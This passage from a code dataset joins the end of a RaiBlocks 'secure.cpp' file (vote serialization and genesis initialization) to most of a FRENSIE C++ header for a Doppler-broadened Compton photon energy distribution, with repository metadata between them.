(!error_a)\n\t\t{\n\t\t\terror_a = rai::read (stream_a, signature.bytes);\n\t\t\tif (!error_a)\n\t\t\t{\n\t\t\t\terror_a = rai::read (stream_a, sequence);\n\t\t\t\tif (!error_a)\n\t\t\t\t{\n\t\t\t\t\tblock = rai::deserialize_block (stream_a, type_a);\n\t\t\t\t\terror_a = block == nullptr;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nrai::vote::vote (rai::account const & account_a, rai::raw_key const & prv_a, uint64_t sequence_a, std::shared_ptr <rai::block> block_a) :\nsequence (sequence_a),\nblock (block_a),\naccount (account_a),\nsignature (rai::sign_message (prv_a, account_a, hash ()))\n{\n}\n\nrai::vote::vote (MDB_val const & value_a)\n{\n\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (value_a.mv_data), value_a.mv_size);\n\tauto error (rai::read (stream, account.bytes));\n\tassert (!error);\n\terror = rai::read (stream, signature.bytes);\n\tassert (!error);\n\terror = rai::read (stream, sequence);\n\tassert (!error);\n\tblock = rai::deserialize_block (stream);\n\tassert (block != nullptr);\n}\n\nrai::uint256_union rai::vote::hash () const\n{\n    rai::uint256_union result;\n    blake2b_state hash;\n\tblake2b_init (&hash, sizeof (result.bytes));\n    blake2b_update (&hash, block->hash ().bytes.data (), sizeof (result.bytes));\n    union {\n        uint64_t qword;\n        std::array <uint8_t, 8> bytes;\n    };\n    qword = sequence;\n    blake2b_update (&hash, bytes.data (), sizeof (bytes));\n    blake2b_final (&hash, result.bytes.data (), sizeof (result.bytes));\n    return result;\n}\n\nvoid rai::vote::serialize (rai::stream & stream_a, rai::block_type)\n{\n\twrite (stream_a, account);\n\twrite (stream_a, signature);\n\twrite (stream_a, sequence);\n\tblock->serialize (stream_a);\n}\n\nvoid rai::vote::serialize (rai::stream & stream_a)\n{\n\twrite (stream_a, account);\n\twrite (stream_a, signature);\n\twrite (stream_a, sequence);\n\trai::serialize_block (stream_a, *block);\n}\n\nrai::genesis::genesis ()\n{\n\tboost::property_tree::ptree tree;\n\tstd::stringstream istream (rai::genesis_block);\n\tboost::property_tree::read_json (istream, tree);\n\tauto block (rai::deserialize_block_json (tree));\n\tassert (dynamic_cast <rai::open_block *> (block.get ()) != nullptr);\n\topen.reset (static_cast <rai::open_block *> (block.release ()));\n}\n\nvoid rai::genesis::initialize (MDB_txn * transaction_a, rai::block_store & store_a) const\n{\n\tauto hash_l (hash ());\n\tassert (store_a.latest_begin (transaction_a) == store_a.latest_end ());\n\tstore_a.block_put (transaction_a, hash_l, *open);\n\tstore_a.account_put (transaction_a, genesis_account, {hash_l, open->hash (), open->hash (), std::numeric_limits <rai::uint128_t>::max (), store_a.now (), 1});\n\tstore_a.representation_put (transaction_a, genesis_account, std::numeric_limits <rai::uint128_t>::max ());\n\tstore_a.checksum_put (transaction_a, 0, 0, hash_l);\n\tstore_a.frontier_put (transaction_a, hash_l, genesis_account);\n}\n\nrai::block_hash rai::genesis::hash () const\n{\n    return open->hash ();\n}\n", "meta": {"hexsha": "3c364e075ad0dac297630cb1c3a61532d3bf588b", "size": 87670, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "rai/secure.cpp", "max_stars_repo_name": "micro-pay/micro", "max_stars_repo_head_hexsha": "893ff375f1ba689c118235ad375df6d3ccdc3fb1", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2018-01-02T13:16:33.000Z", "max_stars_repo_stars_event_max_datetime": "2018-01-02T13:16:33.000Z", "max_issues_repo_path": "rai/secure.cpp", "max_issues_repo_name": "Travis1337/Instacy", "max_issues_repo_head_hexsha": "e95faefaa90806def4a8d3f015d21a4b5c1131b8", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rai/secure.cpp", "max_forks_repo_name": "Travis1337/Instacy", "max_forks_repo_head_hexsha": "e95faefaa90806def4a8d3f015d21a4b5c1131b8", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.0331574981, "max_line_length": 232, "alphanum_fraction": 0.7061366488, "num_tokens": 23784, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5234203489363239, "lm_q2_score": 0.25982564369245537, "lm_q1q2_score": 0.13599802908410996}}
{"text": "//---------------------------------------------------------------------------//\n//!\n//! \\file   MonteCarlo_StandardCompleteDopplerBroadenedPhotonEnergyDistribution_def.hpp\n//! \\author Alex Robinson\n//! \\brief  The complete Doppler broadened photon energy distribution def.\n//!\n//---------------------------------------------------------------------------//\n\n#ifndef MONTE_CARLO_STANDARD_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_DEF_HPP\n#define MONTE_CARLO_STANDARD_COMPLETE_DOPPLER_BROADENED_PHOTON_ENERGY_DISTRIBUTION_DEF_HPP\n\n// Boost Includes\n#include <boost/function.hpp>\n#include <boost/bind.hpp>\n\n// FRENSIE Includes\n#include \"MonteCarlo_PhotonKinematicsHelpers.hpp\"\n#include \"Utility_DiscreteDistribution.hpp\"\n#include \"Utility_GaussKronrodIntegrator.hpp\"\n#include \"Utility_RandomNumberGenerator.hpp\"\n#include \"Utility_ExplicitTemplateInstantiationMacros.hpp\"\n#include \"Utility_DesignByContract.hpp\"\n\nnamespace MonteCarlo{\n\n// Constructor\ntemplate<typename ComptonProfilePolicy>\nStandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::StandardCompleteDopplerBroadenedPhotonEnergyDistribution(\n\t\tconst std::vector<double>& endf_subshell_occupancies,\n                const std::vector<Data::SubshellType>& endf_subshell_order,\n                const std::shared_ptr<const ComptonProfileSubshellConverter>&\n                subshell_converter,\n                const ComptonProfileArray& electron_momentum_dist_array )\n  : d_endf_subshell_occupancy_distribution(),\n    d_endf_subshell_order(),\n    d_endf_subshell_occupancies( endf_subshell_occupancies ),\n    d_subshell_converter( subshell_converter ),\n    d_compton_profile_array( electron_momentum_dist_array )\n{\n  // Make sure the shell interaction data is valid\n  testPrecondition( endf_subshell_occupancies.size() > 0 );\n  testPrecondition( endf_subshell_order.size() ==\n\t\t    endf_subshell_occupancies.size() );\n  // Make sure that the subshell converter is valid\n  testPrecondition( subshell_converter.get() );\n  // Make sure the comptron profile array is valid\n  testPrecondition( electron_momentum_dist_array.size() > 0 );\n  testPrecondition( ComptonProfilePolicy::isValidProfile( *electron_momentum_dist_array.front() ) );\n  testPrecondition( ComptonProfilePolicy::isValidProfile( *electron_momentum_dist_array.back() ) );\n\n  // Create the ENDF subshell interaction distribution\n  std::vector<double> dummy_indep_vals( endf_subshell_occupancies.size() );\n\n  d_endf_subshell_occupancy_distribution.reset(\n\t      new Utility::DiscreteDistribution( dummy_indep_vals,\n\t\t\t\t\t\t endf_subshell_occupancies ) );\n\n  // Create the endf subshell order bimap\n  for( unsigned i = 0; i < endf_subshell_order.size(); ++i )\n  {\n    d_endf_subshell_order.insert( SubshellOrderMapType::value_type(\n                                                 i, endf_subshell_order[i] ) );\n  }\n}\n\n// Evaluate the distribution with the electron momentum projection\n/*! \\details The electron momentum projection must be in me*c units\n * (a momentum value of me*c kg*m/s is 1.0 in me*c units). The distribution\n * will have units of barns since the unitless momentum is being used.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateWithElectronMomentumProjection(\n                                   const double incoming_energy,\n                                   const double electron_momentum_projection,\n                                   const double scattering_angle_cosine ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the electron momentum projection is valid\n  testPrecondition( electron_momentum_projection >= -1.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  // The total double differential cross section\n  double cross_section = 0.0;\n\n  // Evaluate each subshell\n  SubshellOrderMapType::const_iterator subshell_it =\n    d_endf_subshell_order.begin();\n\n  while( subshell_it != d_endf_subshell_order.end() )\n  {\n    cross_section += this->evaluateSubshellWithElectronMomentumProjection(\n                                                  incoming_energy,\n                                                  electron_momentum_projection,\n                                                  scattering_angle_cosine,\n                                                  subshell_it->right );\n\n    ++subshell_it;\n  }\n\n  // Make sure the cross section is valid\n  testPrecondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the exact distribution\n/*! \\details The distribution has units of barns/MeV.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateExact(\n\t\t\t\t   const double incoming_energy,\n\t\t\t\t   const double outgoing_energy,\n\t\t\t\t   const double scattering_angle_cosine ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the outgoing energy is valid\n  testPrecondition( outgoing_energy <= incoming_energy );\n  testPrecondition( outgoing_energy >= 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  // The total double differential cross section\n  double cross_section = 0.0;\n\n  // Evaluate each subshell\n  SubshellOrderMapType::const_iterator subshell_it =\n    d_endf_subshell_order.begin();\n\n  while( subshell_it != d_endf_subshell_order.end() )\n  {\n    cross_section += this->evaluateSubshellExact( incoming_energy,\n                                                  outgoing_energy,\n                                                  scattering_angle_cosine,\n                                                  subshell_it->right );\n\n    ++subshell_it;\n  }\n\n  // Make sure the cross section is valid\n  testPostcondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the subshell distribution with the electron momentum projection\n/*! \\details The electron momentum projection must be in me*c units\n * (a momentum value of me*c kg*m/s is 1.0 in me*c units). The distribution\n * will have units of barns since the unitless momentum is being used.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellWithElectronMomentumProjection(\n                                                                                                                     const double incoming_energy,\n                                     const double electron_momentum_projection,\n                                     const double scattering_angle_cosine,\n                                     const Data::SubshellType subshell ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the electron momentum projection is valid\n  testPrecondition( electron_momentum_projection >= -1.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Get the subshell binding energy\n  const double subshell_binding_energy =\n    this->getSubshellBindingEnergy( subshell );\n\n  // Calculate the max electron momentum projection\n  ComptonProfile::MomentumQuantity max_electron_momentum_projection =\n    calculateMaxElectronMomentumProjection( incoming_energy,\n                                            subshell_binding_energy,\n                                            scattering_angle_cosine )*\n    ComptonProfile::MomentumUnit();\n\n  // Get the subshell occupancy\n  const double subshell_occupancy =\n    this->getSubshellOccupancy( subshell );\n\n  // Get the Compton profile for the subshell\n  const ComptonProfile& compton_profile =\n    this->getComptonProfile( subshell );\n\n  // Evaluate the Compton profile\n  ComptonProfile::ProfileQuantity compton_profile_quantity =\n    ComptonProfilePolicy::evaluateWithPossibleLimit(\n                   compton_profile,\n                   electron_momentum_projection*ComptonProfile::MomentumUnit(),\n                   max_electron_momentum_projection );\n\n  // Evaluate the cross section\n  const double multiplier = this->evaluateMultiplier(incoming_energy,\n                                                     scattering_angle_cosine );\n\n  const double relativistic_term = this->evaluateRelativisticTerm(\n                                                     incoming_energy,\n                                                     scattering_angle_cosine );\n\n  const double cross_section = multiplier*relativistic_term*subshell_occupancy*\n    compton_profile_quantity.value();\n\n  // Make sure the cross section is valid\n  testPostcondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the exact subshell distribution\n  /*! \\details The distribution has units of barns/MeV.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellExact(\n\t\t\t\t      const double incoming_energy,\n                                      const double outgoing_energy,\n                                      const double scattering_angle_cosine,\n\t\t\t\t      const Data::SubshellType subshell ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the outgoing energy is valid\n  testPrecondition( outgoing_energy <= incoming_energy );\n  testPrecondition( outgoing_energy >= 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Get the subshell binding energy\n  const double subshell_binding_energy =\n    this->getSubshellBindingEnergy( subshell );\n\n  // The evaluated double differential cross section\n  double cross_section;\n\n  if( outgoing_energy <= incoming_energy - subshell_binding_energy )\n  {\n    // Get the Compton profile for the subshell\n    const ComptonProfile& compton_profile =\n      this->getComptonProfile( subshell );\n\n    // Get the subshell occupancy\n    const double subshell_occupancy = this->getSubshellOccupancy( subshell );\n\n    // Calculate the electron momentum projection\n    const ComptonProfile::MomentumQuantity electron_momentum_projection =\n      ComptonProfile::MomentumUnit()*\n      calculateElectronMomentumProjection( incoming_energy,\n                                           outgoing_energy,\n                                           scattering_angle_cosine);\n\n    // Evaluate the Compton profile\n    ComptonProfile::ProfileQuantity compton_profile_quantity =\n      ComptonProfilePolicy::evaluate( compton_profile,\n                                      electron_momentum_projection );\n\n    // Evaluate the cross section\n    const double multiplier = this->evaluateMultiplierExact(\n                                                     incoming_energy,\n                                                     outgoing_energy,\n                                                     scattering_angle_cosine );\n\n    const double relativistic_term = this->evaluateRelativisticTermExact(\n                                                     incoming_energy,\n                                                     outgoing_energy,\n                                                     scattering_angle_cosine );\n\n    cross_section = multiplier*relativistic_term*subshell_occupancy*\n      compton_profile_quantity.value();\n  }\n  else\n    cross_section = 0.0;\n\n  // Make sure the cross section is valid\n  testPostcondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the PDF with the electron momentum projection\n/*! \\details The electron momentum projection must be in me*c units\n * (a momentum value of me*c kg*m/s is 1.0 in me*c units). The PDF\n * will be unitless since the unitless momentum is being used.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluatePDFWithElectronMomentumProjection(\n                                   const double incoming_energy,\n                                   const double electron_momentum_projection,\n                                   const double scattering_angle_cosine,\n                                   const double precision ) const\n{\n  // Make sure the precision is valid\n  testPrecondition( precision > 0.0 );\n  testPrecondition( precision < 1.0 );\n\n  const double diff_cross_section =\n    this->evaluateWithElectronMomentumProjection( incoming_energy,\n                                                  electron_momentum_projection,\n                                                  scattering_angle_cosine );\n  const double integrated_cross_section =\n    this->evaluateIntegratedCrossSection( incoming_energy,\n                                          scattering_angle_cosine,\n                                          precision );\n\n  if( integrated_cross_section > 0.0 )\n    return diff_cross_section/integrated_cross_section;\n  else\n    return 0.0;\n}\n\n// Evaluate the exact PDF\n/*! \\details The PDF has units of inverse MeV.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluatePDFExact(\n\t\t\t\t   const double incoming_energy,\n\t\t\t\t   const double outgoing_energy,\n\t\t\t\t   const double scattering_angle_cosine,\n                                   const double precision ) const\n{\n  // Make sure the precision is valid\n  testPrecondition( precision > 0.0 );\n  testPrecondition( precision < 1.0 );\n\n  const double diff_cross_section = this->evaluateExact(\n                                                     incoming_energy,\n                                                     outgoing_energy,\n                                                     scattering_angle_cosine );\n\n  const double integrated_cross_section =\n    this->evaluateIntegratedCrossSectionExact( incoming_energy,\n                                               scattering_angle_cosine,\n                                               precision );\n\n  if( integrated_cross_section > 0.0 )\n    return diff_cross_section/integrated_cross_section;\n  else\n    return 0.0;\n}\n\n// Evaluate the subshell PDF with the electron momentum projection\n/*! \\details The electron momentum projection must be in me*c units\n * (a momentum value of me*c kg*m/s is 1.0 in me*c units). The PDF\n * will be unitless since the unitless momentum is being used.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellPDFWithElectronMomentumProjection(\n                                 const double incoming_energy,\n                                 const double electron_momentum_projection,\n                                 const double scattering_angle_cosine,\n                                 const Data::SubshellType subshell,\n                                 const double precision ) const\n{\n  // Make sure the precision is valid\n  testPrecondition( precision > 0.0 );\n  testPrecondition( precision < 1.0 );\n\n  const double diff_cross_section =\n    this->evaluateSubshellWithElectronMomentumProjection(\n                                                  incoming_energy,\n                                                  electron_momentum_projection,\n                                                  scattering_angle_cosine,\n                                                  subshell );\n\n  const double integrated_cross_section =\n    this->evaluateSubshellIntegratedCrossSection( incoming_energy,\n                                                  scattering_angle_cosine,\n                                                  subshell,\n                                                  precision );\n\n  if( integrated_cross_section > 0.0 )\n    return diff_cross_section/integrated_cross_section;\n  else\n    return 0.0;\n}\n\n// Evaluate the exact subshell PDF\n/*! \\details The PDF has units of inverse MeV.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellPDFExact(\n\t\t\t\t\t  const double incoming_energy,\n\t\t\t\t\t  const double outgoing_energy,\n\t\t\t\t          const double scattering_angle_cosine,\n\t\t\t\t\t  const Data::SubshellType subshell,\n                                          const double precision ) const\n{\n  // Make sure the precision is valid\n  testPrecondition( precision > 0.0 );\n  testPrecondition( precision < 1.0 );\n\n  const double diff_cross_section =\n    this->evaluateSubshellExact( incoming_energy,\n                                 outgoing_energy,\n                                 scattering_angle_cosine,\n                                 subshell );\n\n  const double integrated_cross_section =\n    this->evaluateSubshellIntegratedCrossSectionExact( incoming_energy,\n                                                       scattering_angle_cosine,\n                                                       subshell,\n                                                       precision );\n\n  if( integrated_cross_section > 0.0 )\n    return diff_cross_section/integrated_cross_section;\n  else\n    return 0.0;\n}\n\n// Evaluate the integrated cross section (b/mu)\n/*! \\details This will integrate the approximate double differential cross\n * section as function of unitless momentum from pz=-1.0 to pz=pz_max.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateIntegratedCrossSection(\n\t\t\t\t\t  const double incoming_energy,\n\t\t\t\t\t  const double scattering_angle_cosine,\n\t\t\t\t\t  const double precision ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  double cross_section = 0.0;\n\n  // Evaluate the integrated cross section for each subshell\n  SubshellOrderMapType::const_iterator subshell_it =\n    d_endf_subshell_order.begin();\n\n  while( subshell_it != d_endf_subshell_order.end() )\n  {\n    cross_section += this->evaluateSubshellIntegratedCrossSection(\n                                                       incoming_energy,\n                                                       scattering_angle_cosine,\n                                                       subshell_it->right,\n                                                       precision );\n\n    ++subshell_it;\n  }\n\n  // Make sure the integrated cross section is valid\n  testPrecondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the exact integrated cross section (b/mu)\n/*! \\details This will integrate the exact double differential cross\n * section as function of outgoing energy from E=0.0 MeV to E=E_in-E_b^max.\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateIntegratedCrossSectionExact(\n\t\t\t\t\t  const double incoming_energy,\n\t\t\t\t\t  const double scattering_angle_cosine,\n\t\t\t\t\t  const double precision ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  double cross_section = 0.0;\n\n  // Evaluate the integrated cross section for each subshell\n  SubshellOrderMapType::const_iterator subshell_it =\n    d_endf_subshell_order.begin();\n\n  while( subshell_it != d_endf_subshell_order.end() )\n  {\n    cross_section += this->evaluateSubshellIntegratedCrossSectionExact(\n                                                       incoming_energy,\n                                                       scattering_angle_cosine,\n                                                       subshell_it->right,\n                                                       precision );\n\n    ++subshell_it;\n  }\n\n  // Make sure the integrated cross section is valid\n  testPrecondition( cross_section >= 0.0 );\n\n  return cross_section;\n}\n\n// Evaluate the integrated cross section (b/mu)\n/*! \\details This will integrate the approximate double differential cross\n * section as a function of unitless momentum. If full profiles are being\n * used the limits of integration are pz=-1.0 and pz=pz_max. If half profiles\n * are being used the limits of integration are pz=-pz_max and pz=pz_max\n * (unless pz_max is <= 0.0 in which case the integrated cross section\n * will be 0.0).\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellIntegratedCrossSection(\n\t\t\t\t          const double incoming_energy,\n\t\t\t\t\t  const double scattering_angle_cosine,\n\t\t\t\t\t  const Data::SubshellType subshell,\n\t\t\t\t\t  const double precision ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Create the evaluation function wrapper\n  boost::function<double (double x)> double_diff_cs_wrapper =\n    boost::bind<double>( &StandardCompleteDopplerBroadenedPhotonEnergyDistribution::evaluateSubshellWithElectronMomentumProjection,\n                         boost::cref( *this ),\n                         incoming_energy,\n                         _1,\n                         scattering_angle_cosine,\n                         subshell );\n\n  // Get the subshell binding energy\n  const double subshell_binding_energy =\n    this->getSubshellBindingEnergy( subshell );\n\n  // Calculate the max electron momentum projection\n  double pz_max =\n    calculateMaxElectronMomentumProjection( incoming_energy,\n                                            subshell_binding_energy,\n                                            scattering_angle_cosine );\n\n  // Don't go above the table max (profile will evaluate to zero beyond it)\n  pz_max = ComptonProfilePolicy::getUpperLimitOfIntegration(\n                               this->getComptonProfile( subshell ),\n                               pz_max*ComptonProfile::MomentumUnit() ).value();\n\n  // Calculate the min electron momentum projection\n  double pz_min = ComptonProfilePolicy::getLowerLimitOfIntegration(\n                               pz_max*ComptonProfile::MomentumUnit() ).value();\n\n  // Calculate the absolute error and the integrated cross section\n  double abs_error, diff_cs;\n\n  Utility::GaussKronrodIntegrator<double> quadrature_set( precision );\n\n  if( pz_min < pz_max )\n  {\n    quadrature_set.integrateAdaptively<15>( double_diff_cs_wrapper,\n                                            pz_min,\n                                            pz_max,\n                                            diff_cs,\n                                            abs_error );\n  }\n  else\n  {\n    abs_error = 0.0;\n    diff_cs = 0.0;\n  }\n\n  // Make sure that the differential cross section is valid\n  testPostcondition( diff_cs >= 0.0 );\n\n  return diff_cs;\n}\n\n// Evaluate the integrated cross section (b/mu)\n/*! \\details This will integrate the exact double differential cross\n * section as a function of outgoing energy. The limits of integration are\n * E=0.0 and E=E_in-E_b,i (for both half profiles and full profiles).\n */\ntemplate<typename ComptonProfilePolicy>\ndouble StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::evaluateSubshellIntegratedCrossSectionExact(\n\t\t\t\t          const double incoming_energy,\n\t\t\t\t\t  const double scattering_angle_cosine,\n\t\t\t\t\t  const Data::SubshellType subshell,\n\t\t\t\t\t  const double precision ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n  // Make sure the subshell is valid\n  testPrecondition( this->isValidSubshell( subshell ) );\n\n  // Create the evaluation function wrapper\n  boost::function<double (double x)> double_diff_cs_wrapper =\n    boost::bind<double>( &StandardCompleteDopplerBroadenedPhotonEnergyDistribution::evaluateSubshellExact,\n                         boost::cref( *this ),\n                         incoming_energy,\n                         _1,\n                         scattering_angle_cosine,\n                         subshell );\n\n  // Get the Compton profile for this subshell\n  const ComptonProfile& compton_profile = this->getComptonProfile( subshell );\n\n  // Calculate the max energy\n  double energy_max = incoming_energy -\n    this->getSubshellBindingEnergy( subshell );\n\n  // Calculate the max electron momentum projection\n  double pz_max = calculateMaxElectronMomentumProjection(\n                                  incoming_energy,\n                                  this->getSubshellBindingEnergy( subshell ),\n                                  scattering_angle_cosine );\n\n  // Calculate the max table energy\n  const double pz_table_max =\n    ComptonProfilePolicy::getUpperBoundOfMomentum( compton_profile ).value();\n\n  // Don't go above the table max (profile will evaluate to zero beyond it)\n  if( pz_max > pz_table_max )\n  {\n    bool energetically_possible;\n\n    energy_max = calculateDopplerBroadenedEnergy( pz_table_max,\n                                                  incoming_energy,\n                                                  scattering_angle_cosine,\n                                                  energetically_possible );\n  }\n\n  // Calculate the absolute error and the integrated cross section\n  double abs_error, diff_cs;\n\n  Utility::GaussKronrodIntegrator<double> quadrature_set( precision );\n\n  quadrature_set.integrateAdaptively<15>( double_diff_cs_wrapper,\n                                          0.0,\n                                          energy_max,\n                                          diff_cs,\n                                          abs_error );\n\n  // Make sure that the differential cross section is valid\n  testPostcondition( diff_cs >= 0.0 );\n\n  return diff_cs;\n}\n\n// Sample an outgoing energy from the distribution\ntemplate<typename ComptonProfilePolicy>\nvoid StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sample(\n\t\t\t       const double incoming_energy,\n                               const double scattering_angle_cosine,\n                               double& outgoing_energy,\n\t\t\t       Data::SubshellType& shell_of_interaction ) const\n{\n  Counter trial_dummy;\n\n  this->sampleAndRecordTrials( incoming_energy,\n\t\t\t       scattering_angle_cosine,\n\t\t\t       outgoing_energy,\n\t\t\t       shell_of_interaction,\n\t\t\t       trial_dummy );\n}\n\n// Sample an outgoing energy and record the number of trials\n/*! \\details The sampling of the Compton profile and the interaction subshell\n * are decoupled in this procedure.\n */\ntemplate<typename ComptonProfilePolicy>\nvoid StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sampleAndRecordTrials(\n\t\t\t\t     const double incoming_energy,\n\t\t\t\t     const double scattering_angle_cosine,\n\t\t\t\t     double& outgoing_energy,\n\t\t\t\t     Data::SubshellType& shell_of_interaction,\n\t\t\t\t     Counter& trials ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle cosine is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  // The electron momentum projection\n  double pz;\n\n  // Sample the electron momentum projection\n  this->sampleMomentumAndRecordTrials( incoming_energy,\n                                       scattering_angle_cosine,\n                                       pz,\n                                       shell_of_interaction,\n                                       trials );\n\n  bool energetically_possible;\n\n  outgoing_energy = calculateDopplerBroadenedEnergy( pz,\n                                                     incoming_energy,\n                                                     scattering_angle_cosine,\n                                                     energetically_possible );\n\n  // If a valid outgoing energy could not be calculated default to the\n  // Compton line energy (no Doppler broadening).\n  if( !energetically_possible || outgoing_energy < 0.0 )\n  {\n      outgoing_energy = calculateComptonLineEnergy( incoming_energy,\n                                                    scattering_angle_cosine );\n  }\n  else\n  {\n    // An energy of zero isn't allowed by the rest of the code\n    if( outgoing_energy == 0.0 )\n      outgoing_energy = std::numeric_limits<double>::min();\n  }\n\n  // Make sure the outgoing energy is valid\n  testPostcondition( outgoing_energy <= incoming_energy );\n  testPostcondition( outgoing_energy > 0.0 );\n  // Make sure that the sampled subshell is valid\n  testPostcondition( shell_of_interaction !=Data::UNKNOWN_SUBSHELL );\n  testPostcondition( shell_of_interaction != Data::INVALID_SUBSHELL );\n}\n\n// Sample an electron momentum from the distribution\n/*! \\details The sampling of the Compton profile and the interaction subshell\n * are decoupled in this procedure.\n */\ntemplate<typename ComptonProfilePolicy>\nvoid StandardCompleteDopplerBroadenedPhotonEnergyDistribution<ComptonProfilePolicy>::sampleMomentumAndRecordTrials(\n                                    const double incoming_energy,\n                                    const double scattering_angle_cosine,\n                                    double& electron_momentum,\n                                    Data::SubshellType& shell_of_interaction,\n                                    Counter& trials ) const\n{\n  // Make sure the incoming energy is valid\n  testPrecondition( incoming_energy > 0.0 );\n  // Make sure the scattering angle cosine is valid\n  testPrecondition( scattering_angle_cosine >= -1.0 );\n  testPrecondition( scattering_angle_cosine <= 1.0 );\n\n  // Record the number of iterations\n  Counter iterations = 0;\n\n  // Sample the shell that is interacted with\n  size_t compton_subshell_index;\n  double subshell_binding_energy;\n\n  // Only allow the selection of subshells where an incoherent interaction is\n  // energetically possible - there is definitely a more efficient way to do\n  // this!\n  while( true )\n  {\n    ++iterations;\n\n    this->sampleInteractionSubshell( compton_subshell_index,\n                                     subshell_binding_energy,\n                                     shell_of_interaction );\n\n    // Calculate the maximum outgoing photon energy\n    double energy_max = incoming_energy - subshell_binding_energy;\n\n    if( energy_max >= 0.0 )\n      break;\n  }\n\n  // Get the Compton profile for the sampled subshell\n  const ComptonProfile& compton_profile =\n    *d_compton_profile_array[compton_subshell_index];\n\n  electron_momentum = this->sampleSubshellMomentum( incoming_energy,\n                                                    scattering_angle_cosine,\n                                                    subshell_binding_energy,\n                                                    compton_profile );\n\n  // Increment the number of trials\n  trials 